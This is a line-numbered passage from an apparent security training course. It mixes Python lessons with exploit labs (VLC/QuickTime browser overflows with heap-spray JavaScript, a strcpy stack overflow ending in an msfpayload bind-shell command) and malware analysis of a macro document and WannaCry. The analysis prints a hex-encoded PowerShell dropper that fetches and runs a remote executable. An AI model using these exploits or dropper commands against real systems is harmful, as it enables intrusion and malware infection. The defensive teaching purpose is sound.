8625except Exception as e:
8626 sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
8627finally:
8628 sock.close()
8629 sys.stderr.write("Sent.\n")
8630
8631
8632
8633-----------------------------------------------------------------------------------------------------------------
8634
8635
8636
8637
8638How does all of this actually work
8639
8640
8641
8642
8643Total shellcode length: 315
8644
8645 Part1: 150
8646 Part2: 165
8647
8648
8649NOPS * (256 - 165)
8650
865191 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
8652 | | |
8653 256 260 150 (410) |
8654 |<------------------------------------------------------------------------------------------------------------|
8655 Jump to the
8656 30 byte mark
8657
8658
8659
8660############################
8661# Lab 3: Browsers Exploits #
8662############################
8663
8664---------------------------Type This-----------------------------------
8665
8666cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
8667-----------------------------------------------------------------------
8668
8669
8670Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
8671rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
8672
8673<object id=quicktime clsid="999-999999-99-99999">
8674 <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
8675</object>
8676
8677var buf = "";
8678for(i = 0; i < 50000; i++)
8679 buf += "A";
8680var myobject = document.getElementById("quicktime");
8681myobject.url = buf;
8682
8683YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
8684
8685- Browsers (Flash)
8686- PDF
8687- MS Office / OOo
8688
8689VLC smb:// exploit
8690------------------
8691
8692EXPLOIT VECTOR
8693
8694smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
8695
8696Exploit Scripts
8697- ffvlc
8698
8699ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
8700
8701---------------------------Type This-----------------------------------
8702
8703perl daemon.pl vlc0.html
8704-----------------------------------------------------------------------
8705
8706ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
8707Browse to http://your_host_ip_address:8080/
8708
8709vlc0.html
8710---------
8711<script>
8712 var buf = "";
8713 for(i = 0; i < 1250; i++)
8714 buf += unescape("%41%41%41%41");
8715 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
8716 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
8717</script>
8718
8719vlc1.html
8720---------
8721<script>
8722
8723 // shellcode created in heap memory
8724 var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
8725
8726 // 800K block of NOPS
8727 var nop = unescape("%u9090%u09090"); // 4 NOPS
8728 while(nop.length < 0xc0000) {
8729 nop += nop;
8730 }
8731
8732 // spray the heap with NOP+shellcode
8733 var memory = new Array();
8734 for(i = 0; i < 50; i++) {
8735 memory[i] = nop + shellcode;
8736 }
8737
8738 // build the exploit payload
8739 var buf = "";
8740 for(i = 0; i < 1250; i++)
8741 buf += unescape("%41%41%41%41");
8742 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
8743
8744 // trigger the exploit
8745 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
8746</script>
8747
8748---------------------------Type This-----------------------------------
8749
8750perl daemon.pl vlc1.html
8751-----------------------------------------------------------------------
8752
8753Search for where our NOPS+shellcode lies in the heap
8754
8755s 0 l fffffff 90 90 90 90 cc cc cc cc
8756
87570:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
875803dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8759040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8760043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8761046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8762049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
876304cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
876404fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8765052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8766055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8767058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
876805bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
876905effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8770061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8771064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8772067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
877306affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
8774
8775Edit vlc2.html
8776replace %41%41%41%41 with %07%07%07%07
8777
8778(928.fd0): Break instruction exception - code 80000003 (first chance)
8779eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
8780eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
8781cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
878207100000 cc int 3
87830:019> u
878407100000 cc int 3
878507100001 cc int 3
878607100002 cc int 3
878707100003 cc int 3
878807100004 cc int 3
878907100005 cc int 3
879007100006 cc int 3
879107100007 cc int 3
8792
8793Create vlc3.html (Copy vlc2.html to vlc3.html)
8794----------------------------------------------
8795Win32 Reverse Shell
8796- no restricted characters
8797- Encoder NONE
8798- use the Javascript encoded payload generated by msfweb
8799
8800##########################
8801# Python Lambda Function #
8802##########################
8803
8804
8805Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
8806
8807lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
8808
8809Let’s take an example:
8810
8811Consider a function multiply()
8812
8813def multiply(x, y):
8814 return x * y
8815
8816
8817This function is too small, so let’s convert it into a lambda function.
8818
8819To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
8820
8821---------------------------Type This-----------------------------------
8822
8823>>> r = lambda x, y: x * y
8824>>> r(12,3)
882536
8826-----------------------------------------------------------------------
8827
8828Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
8829
8830You don’t need to assign lambda function to a variable.
8831
8832---------------------------Type This-----------------------------------
8833
8834>>> (lambda x, y: x * y)(3,4)
883512
8836-----------------------------------------------------------------------
8837
8838Note that lambda function can’t contain more than one expression.
8839
8840
8841
8842##################
8843# Python Classes #
8844##################
8845
8846
8847****************
8848* Introduction *
8849****************
8850
8851Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
8852
8853You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
8854
8855
8856***********************
8857* Real World Examples *
8858***********************
8859
8860
8861This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
8862
8863Start off by thinking about a web vuln scanner.
8864
8865What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
8866
8867So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
8868
8869
8870******************
8871* A Python Class *
8872******************
8873
8874
8875Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
8876
8877---------------------------Paste This-----------------------------------
8878
8879class WebVulnScanner(object):
8880 make = 'Acunetix'
8881 model = '10.5'
8882 year = '2014'
8883 version ='Consultant Edition'
8884
8885 profile = 'High Risk'
8886
8887
8888 def crawling(self, speed):
8889 print("Crawling at %s" % speed)
8890
8891
8892 def scanning(self, speed):
8893 print("Scanning at %s" % speed)
8894-----------------------------------------------------------------------
8895
8896
8897Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
8898
8899From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
8900
8901
8902*****************
8903* What is Self? *
8904*****************
8905
8906Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
8907
8908---------------------------Type This-----------------------------------
8909
8910print("Your %s is crawling at %s" % (self.model, speed))
8911-----------------------------------------------------------------------
8912
8913It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
8914
8915
8916*****************
8917* Using A Class *
8918*****************
8919
8920
8921You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
8922---------------------------Type This-----------------------------------
8923
8924myscanner = WebVulnScanner()
8925-----------------------------------------------------------------------
8926
8927
8928That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
8929
8930Get your scanner object to print out its make and model.
8931---------------------------Type This-----------------------------------
8932
8933print("%s %s" % (myscanner.make, myscanner.model))
8934-----------------------------------------------------------------------
8935
8936The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
8937---------------------------Type This-----------------------------------
8938
8939myscanner.scanning('10req/sec')
8940-----------------------------------------------------------------------
8941
8942What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
8943---------------------------Type This-----------------------------------
8944
8945print("The profile of my scanner settings is %s" % myscanner.profile)
8946myscanner.profile = "default"
8947print("The profile of my scanner settings is %s" % myscanner.profile)
8948-----------------------------------------------------------------------
8949
8950Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
8951---------------------------Type This-----------------------------------
8952
8953mynewscanner = WebVulnScanner()
8954print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
8955-----------------------------------------------------------------------
8956
8957That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
8958
8959
8960#########################################
8961# The self variable in python explained #
8962#########################################
8963
8964So lets start by making a class involving the self variable.
8965
8966A simple class :
8967
8968So here is our class:
8969---------------------------Paste This-----------------------------------
8970
8971class port(object):
8972 open = False
8973 def open_port(self):
8974 if not self.open:
8975 print("port open")
8976
8977-----------------------------------------------------------------------
8978
8979First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
8980
8981Making a Port:
8982
8983Now that we have made a class for a Port, lets actually make a port:
8984---------------------------Type This-----------------------------------
8985
8986x = port()
8987-----------------------------------------------------------------------
8988
8989Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
8990---------------------------Type This-----------------------------------
8991
8992x.open
8993-----------------------------------------------------------------------
8994
8995The above command is same as:
8996---------------------------Type This-----------------------------------
8997
8998port().open
8999-----------------------------------------------------------------------
9000
9001Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
9002---------------------------Type This-----------------------------------
9003
9004>>> x = port()
9005>>> x.open
9006False
9007>>> y = port()
9008>>> y.open = True
9009>>> y.open
9010True
9011>>> x.open
9012False
9013
9014-----------------------------------------------------------------------
9015The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
9016
9017---------------------------Paste This-----------------------------------
9018
9019class port(object):
9020 open = False
9021 def open_port(this):
9022 if not this.open:
9023 print("port open")
9024
9025-----------------------------------------------------------------------
9026
9027
9028
9029
9030
9031
9032##################################
9033# Day 3 Homework videos to watch #
9034##################################
9035Here is your first set of youtube videos that I'd like for you to watch:
9036https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
9037
9038
9039
9040
9041
9042
9043
9044
9045
9046
9047
9048
9049 #######################################
9050----------- ############### # Day 4: Malware analysis with Python # ############### -----------
9051 #######################################
9052
9053
9054###############################
9055# Lesson 28: Malware Analysis #
9056###############################
9057
9058
9059
9060
9061################
9062# The Scenario #
9063################
9064You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
9065
9066
9067The fastest thing you can do is perform static analysis.
9068---------------------------Type This-----------------------------------
9069
9070sudo pip install olefile
9071 infosecaddicts
9072
9073mkdir ~/Desktop/oledump
9074
9075cd ~/Desktop/oledump
9076
9077wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
9078
9079unzip oledump_V0_0_22.zip
9080
9081wget http://45.63.104.73/064016.zip
9082
9083unzip 064016.zip
9084 infected
9085
9086python oledump.py 064016.doc
9087
9088python oledump.py 064016.doc -s A4 -v
9089-----------------------------------------------------------------------
9090
9091- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
9092- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
9093
9094---------------------------Type This-----------------------------------
9095
9096python oledump.py 064016.doc -s A5 -v
9097-----------------------------------------------------------------------
9098
9099- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
9100
9101---------------------------Type This-----------------------------------
9102
9103python oledump.py 064016.doc -s A3 -v
9104 -----------------------------------------------------------------------
9105
9106- Look for "GVhkjbjv" and you should see:
9107
9108636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
9109
9110- Take that long blob that starts with 636D and finishes with 653B and paste it in:
9111http://www.rapidtables.com/convert/number/hex-to-ascii.htm
9112
9113
9114
9115###################
9116# Static Analysis #
9117###################
9118
9119- After logging please open a terminal window and type the following commands:
9120---------------------------Type This-----------------------------------
9121
9122cd Desktop/
9123
9124wget http://45.63.104.73/wannacry.zip
9125
9126unzip wannacry.zip
9127 infected
9128
9129file wannacry.exe
9130
9131mv wannacry.exe malware.pdf
9132
9133file malware.pdf
9134
9135mv malware.pdf wannacry.exe
9136
9137hexdump -n 2 -C wannacry.exe
9138
9139-----------------------------------------------------------------------
9140
9141
9142
9143***What is '4d 5a' or 'MZ'***
9144Reference:
9145http://www.garykessler.net/library/file_sigs.html
9146
9147
9148
9149---------------------------Type This-----------------------------------
9150
9151
9152objdump -x wannacry.exe
9153
9154strings wannacry.exe
9155
9156strings --all wannacry.exe | head -n 6
9157
9158strings wannacry.exe | grep -i dll
9159
9160strings wannacry.exe | grep -i library
9161
9162strings wannacry.exe | grep -i reg
9163
9164strings wannacry.exe | grep -i key
9165
9166strings wannacry.exe | grep -i rsa
9167
9168strings wannacry.exe | grep -i open
9169
9170strings wannacry.exe | grep -i get
9171
9172strings wannacry.exe | grep -i mutex
9173
9174strings wannacry.exe | grep -i irc
9175
9176strings wannacry.exe | grep -i join
9177
9178strings wannacry.exe | grep -i admin
9179
9180strings wannacry.exe | grep -i list
9181
9182
9183
9184-----------------------------------------------------------------------
9185
9186
9187
9188
9189
9190
9191
9192
9193Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
9194
9195Quick Google search for "wannacry ransomeware analysis"
9196
9197
9198Reference
9199https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
9200
9201- Yara Rule -
9202
9203
9204Strings:
9205$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
9206$s2 = “Wanna Decryptor” wide ascii nocase
9207$s3 = “.wcry” wide ascii nocase
9208$s4 = “WANNACRY” wide ascii nocase
9209$s5 = “WANACRY!” wide ascii nocase
9210$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
9211
9212
9213
9214
9215
9216
9217
9218
9219Ok, let's look for the individual strings
9220
9221---------------------------Type This-----------------------------------
9222
9223
9224strings wannacry.exe | grep -i ooops
9225
9226strings wannacry.exe | grep -i wanna
9227
9228strings wannacry.exe | grep -i wcry
9229
9230strings wannacry.exe | grep -i wannacry
9231
9232strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
9233
9234
9235-----------------------------------------------------------------------
9236
9237
9238
9239
9240
9241####################################
9242# Tired of GREP - let's try Python #
9243####################################
9244Decided to make my own script for this kind of stuff in the future. I
9245
9246Reference1:
9247http://45.63.104.73/analyse_malware.py
9248
9249This is a really good script for the basics of static analysis
9250
9251Reference:
9252https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
9253
9254
9255This is really good for showing some good signatures to add to the Python script
9256
9257
9258Here is my own script using the signatures (started this yesterday, but still needs work):
9259https://pastebin.com/guxzCBmP
9260
9261
9262---------------------------Type This-----------------------------------
9263
9264
9265sudo apt install -y python-pefile
9266 infosecaddicts
9267
9268
9269
9270wget https://pastebin.com/raw/guxzCBmP
9271
9272
9273mv guxzCBmP am.py
9274
9275
9276vi am.py
9277
9278python am.py wannacry.exe
9279
9280
9281-----------------------------------------------------------------------
9282
9283
9284
9285
9286
9287
9288
9289
9290##############
9291# Yara Ninja #
9292##############
9293 ---------------------------Type This-----------------------------------
9294
9295cd ~/Desktop
9296
9297sudo apt-get remove -y yara
9298 infosecaddcits
9299
9300sudo apt -y install libtool
9301 infosecaddicts
9302
9303wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
9304
9305
9306unzip v3.6.0.zip
9307
9308cd yara-3.6.0
9309
9310./bootstrap.sh
9311
9312./configure
9313
9314make
9315
9316sudo make install
9317 infosecaddicts
9318
9319yara -v
9320
9321cd ~/Desktop
9322
9323
9324-----------------------------------------------------------------------
9325
9326
9327NOTE:
9328McAfee is giving these yara rules - so add them to the hashes.txt file
9329
9330Reference:
9331https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
9332
9333----------------------------------------------------------------------------
9334rule wannacry_1 : ransom
9335{
9336 meta:
9337 author = "Joshua Cannell"
9338 description = "WannaCry Ransomware strings"
9339 weight = 100
9340 date = "2017-05-12"
9341
9342 strings:
9343 $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
9344 $s2 = "Wanna Decryptor" wide ascii nocase
9345 $s3 = ".wcry" wide ascii nocase
9346 $s4 = "WANNACRY" wide ascii nocase
9347 $s5 = "WANACRY!" wide ascii nocase
9348 $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
9349
9350 condition:
9351 any of them
9352}
9353
9354----------------------------------------------------------------------------
9355rule wannacry_2{
9356 meta:
9357 author = "Harold Ogden"
9358 description = "WannaCry Ransomware Strings"
9359 date = "2017-05-12"
9360 weight = 100
9361
9362 strings:
9363 $string1 = "msg/m_bulgarian.wnry"
9364 $string2 = "msg/m_chinese (simplified).wnry"
9365 $string3 = "msg/m_chinese (traditional).wnry"
9366 $string4 = "msg/m_croatian.wnry"
9367 $string5 = "msg/m_czech.wnry"
9368 $string6 = "msg/m_danish.wnry"
9369 $string7 = "msg/m_dutch.wnry"
9370 $string8 = "msg/m_english.wnry"
9371 $string9 = "msg/m_filipino.wnry"
9372 $string10 = "msg/m_finnish.wnry"
9373 $string11 = "msg/m_french.wnry"
9374 $string12 = "msg/m_german.wnry"
9375 $string13 = "msg/m_greek.wnry"
9376 $string14 = "msg/m_indonesian.wnry"
9377 $string15 = "msg/m_italian.wnry"
9378 $string16 = "msg/m_japanese.wnry"
9379 $string17 = "msg/m_korean.wnry"
9380 $string18 = "msg/m_latvian.wnry"
9381 $string19 = "msg/m_norwegian.wnry"
9382 $string20 = "msg/m_polish.wnry"
9383 $string21 = "msg/m_portuguese.wnry"
9384 $string22 = "msg/m_romanian.wnry"
9385 $string23 = "msg/m_russian.wnry"
9386 $string24 = "msg/m_slovak.wnry"
9387 $string25 = "msg/m_spanish.wnry"
9388 $string26 = "msg/m_swedish.wnry"
9389 $string27 = "msg/m_turkish.wnry"
9390 $string28 = "msg/m_vietnamese.wnry"
9391
9392
9393 condition:
9394 any of ($string*)
9395}
9396----------------------------------------------------------------------------
9397
9398
9399#######################
9400# External DB Lookups #
9401#######################
9402
9403Creating a malware database (sqlite)
9404---------------------------Type This-----------------------------------
9405
9406sudo apt install -y python-simplejson python-simplejson-dbg
9407 infosecaddicts
9408
9409
9410
9411wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
9412
9413
9414
9415python avsubmit.py -f wannacry.exe -e
9416
9417----------------------------------------------------------------------------
9418
9419Analysis of the file can be found at:
9420http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
9421
9422
9423
9424
9425
9426
9427
9428
9429
9430###############################
9431# Creating a Malware Database #
9432###############################
9433Creating a malware database (mysql)
9434-----------------------------------
9435- Step 1: Installing MySQL database
9436- Run the following command in the terminal:
9437---------------------------Type This-----------------------------------
9438
9439sudo apt install -y mysql-server
9440 infosecaddicts
9441
9442- Step 2: Installing Python MySQLdb module
9443- Run the following command in the terminal:
9444
9445sudo apt-get build-dep python-mysqldb
9446 infosecaddicts
9447
9448sudo apt install -y python-mysqldb
9449 infosecaddicts
9450
9451Step 3: Logging in
9452Run the following command in the terminal:
9453
9454mysql -u root -p (set a password of 'malware')
9455
9456- Then create one database by running following command:
9457
9458create database malware;
9459
9460exit;
9461
9462wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
9463
9464vi mal_to_db.py (fill in database connection information)
9465
9466python mal_to_db.py -i
9467
9468------- check it to see if the files table was created ------
9469
9470mysql -u root -p
9471 malware
9472
9473show databases;
9474
9475use malware;
9476
9477show tables;
9478
9479describe files;
9480
9481exit;
9482
9483-----------------------------------------------------------------------
9484
9485
9486- Now add the malicious file to the DB
9487---------------------------Type This-----------------------------------
9488
9489
9490python mal_to_db.py -f wannacry.exe -u
9491
9492-----------------------------------------------------------------------
9493
9494
9495- Now check to see if it is in the DB
9496--------------------------Type This-----------------------------------
9497
9498mysql -u root -p
9499 malware
9500
9501mysql> use malware;
9502
9503select id,md5,sha1,sha256,time FROM files;
9504
9505mysql> quit;
9506
9507-----------------------------------------------------------------------
9508
9509
9510
9511######################################
9512# PCAP Analysis with forensicPCAP.py #
9513######################################
9514---------------------------Type This-----------------------------------
9515
9516cd ~/Desktop
9517wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
9518sudo easy_install cmd2
9519
9520python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
9521
9522ForPCAP >>> help
9523
9524
9525Prints stats about PCAP
9526ForPCAP >>> stat
9527
9528
9529Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
9530ForPCAP >>> dns
9531
9532ForPCAP >>> show
9533
9534
9535Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
9536ForPCAP >>> dstports
9537
9538ForPCAP >>> show
9539
9540
9541Prints the number of ip source and store them.
9542ForPCAP >>> ipsrc
9543
9544
9545Prints the number of web's requests and store them
9546ForPCAP >>> web
9547
9548
9549Prints the number of mail's requests and store them
9550ForPCAP >>> mail
9551
9552-----------------------------------------------------------------------
9553
9554
9555
9556
9557
9558
9559##################################
9560# Day 4 Homework videos to watch #
9561##################################
9562Here is your first set of youtube videos that I'd like for you to watch:
9563https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
9564
9565
9566
9567
9568
9569
9570
9571
9572
9573
9574 ##########################################
9575----------- ############### # Day 4: Debugger automation with Python # ############### -----------
9576 ##########################################
9577
9578In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
9579
9580Run the server on windows machine.
9581
9582Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
9583
9584
9585
9586It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
9587---------------------------Type This-----------------------------------
9588
9589vim strcpy.py
9590
9591./strcpy <server adress>
9592
9593-----------------------------------------------------------------------
9594
9595
9596On the server machine see if the server crashes and what error it shows.
9597
9598Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
9599
9600Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
9601
9602Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
9603
9604
9605We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time.
9606
9607
9608Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above.
9609
9610
9611
9612In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
9613imm.log(“Anything to log”)
9614
9615Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
9616
9617Our command will also be visible in the List of PyCommands which are available in the Immunity.
9618
9619
9620To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
9621
9622Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
9623
9624
9625Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
9626
9627Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
9628
9629
9630
9631
9632Now we will use the Immunity Debugger to actually exploit the buffer overflow.
9633
9634As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
9635
9636To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
9637
9638
9639
9640Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
9641
9642
9643
9644From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
9645
9646Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
9647
9648---------------------------Type This-----------------------------------
9649
9650msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
9651-----------------------------------------------------------------------
